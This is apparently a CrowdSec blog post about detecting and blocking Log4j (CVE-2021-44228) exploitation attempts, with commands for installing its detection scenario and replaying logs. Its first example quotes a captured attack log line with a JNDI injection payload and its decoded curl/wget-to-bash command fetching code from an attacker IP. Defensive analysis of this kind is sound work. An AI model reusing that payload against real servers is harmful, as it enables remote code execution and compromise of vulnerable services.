How CrowdSec coped with the Log4j storm?

With the Log4j (CVE-2021-44228) exploit storming over the internet, countless java-based services were discovered being not only critically vulnerable but also said to be ridiculously easy to exploit, pushing sysadmins into a rush to identify and correct the vulnerable systems. It is too early to assess the long-term impact of Log4j but the consensus is that it will last a long time.

The discovery of the exploit started a large service scanning worldwide with malicious IPs massively probing exposed services and attempting to inject malicious code in many clever ways.

So how did CrowdSec navigate through this storm?

As soon as the vulnerability was made public, CrowdSec deployed a scenario on December 10th to identify probing and injection attempts in server logs, and block the rogue IPs.

Here are some examples of attempts we have seen from our community:

45.155.205.233 - - [10/Dec/2021:13:35:10 +0000] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4xNS4yMzguMTc1OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzUxLjE1LjIzOC4xNzU6ODApfGJhc2g=}"```

In this example, the attacker attempts to exploit the vulnerability by requesting the target system to execute the Base64 payload in the HTTP request. The decoded payload looks like this:

(curl -s 45.155.205.233:5874/51.15.238.175:80||wget -q -O- 45.155.205.233:5874/51.15.238.175:80)|bash

Basically, the attacker requests the target to connect to a specific IP and to download (using curl or wget) what probably is a malware (to steal credentials, exfiltrate data, mine cryptocurrencies etc.) and execute it with the same rights as the running service.

Other kinds of attempts include hiding the code in HTTP Referer or User-agent headers. It is not excluded that as time goes by, attackers find creative ways to inject the payload. For example, we already noticed obfuscated commands to bypass web application firewalls. So stay tuned as the CrowdSec team brings updates to the CrowdSec scenario.

As soon as we deployed the scenario, signals from the community started pouring in. Here is how it looks like since the December 10th:

A few days after the exploit disclosure, the number of signals and rogue IPs started to grow exponentially, proving our community started to get probed in a massive way. We were thrilled to see the network effect work so quickly – we are talking about a couple of days here – and share the results to contribute to an effective defensive solution.

This chart is also the PERFECT illustration of the network and community effects. As soon as new IPs are detected, they are shared with all other users, are automatically banned everywhere, and disappear from the logs (this explains the increase/decrease trend on the chart).

We are aware of the gravity of the vulnerability and because we are strong supporters of open-source and community, we decided to make all rogue IPs publically available here. So whether you use CrowdSec or not, please use this list to update your firewall rules and shoot on-sight these IPs, especially the “validated” ones. Those IP addresses were curated by our consensus algorithm, meaning they had a lot of votes against them coming from our user network.

Currently, the list contains close to 1500 IPs and grows as we speak. If you are a CrowdSec user, of course, you have nothing to do, all those IPs are automatically delivered to you and your blocklist updated.

Ok, so detecting is incredible, but with CrowdSec, we can go way beyond. By all means, this is not a silver bullet and will not replace having an up-to-date Log4j tool. However, it allows any CrowdSec user to deploy an instantly working defense mechanism against some exploitation attempts.

If you are a CrowdSec user, the scenario can be directly downloaded from our Hub and installed in a blink of an eye. Check this quick video to see the plugin in action:

If you are not yet a CrowdSec user, but would like to check if you were the target of exploit attempts, good news: you can install CrowdSec and use our replay mode. Analyze your past servers’ logs to check if an exploit of log4j was attempted, by who and when, using the appropriate scenario and the below command line:

sudo cscli hub update
sudo cscli scenarios install crowdsecurity/apache_log4j2_cve-2021-44228
sudo systemctl reload crowdsec

# sudo crowdsec --dsn "file://" -no-api --type 
sudo crowdsec --dsn "file:///var/log/nginx/access.log" -no-api --type nginx

sudo cscli alerts list --scenario crowdsecurity/apache_log4j2_cve-2021-44228

The CVE-2021-44228 is a dramatically severe vulnerability and will take months or more to eliminate. However, here at CrowdSec, it helped us validate what we genuinely believe in the efficiency and resilience of the collaborative approach. In a matter of hours, the community started sharing signals and blocking attempts from rogue IPs. It allowed a short reaction time  and the first line of defense even if the log4j tool was not yet updated or vulnerable services were not yet identified.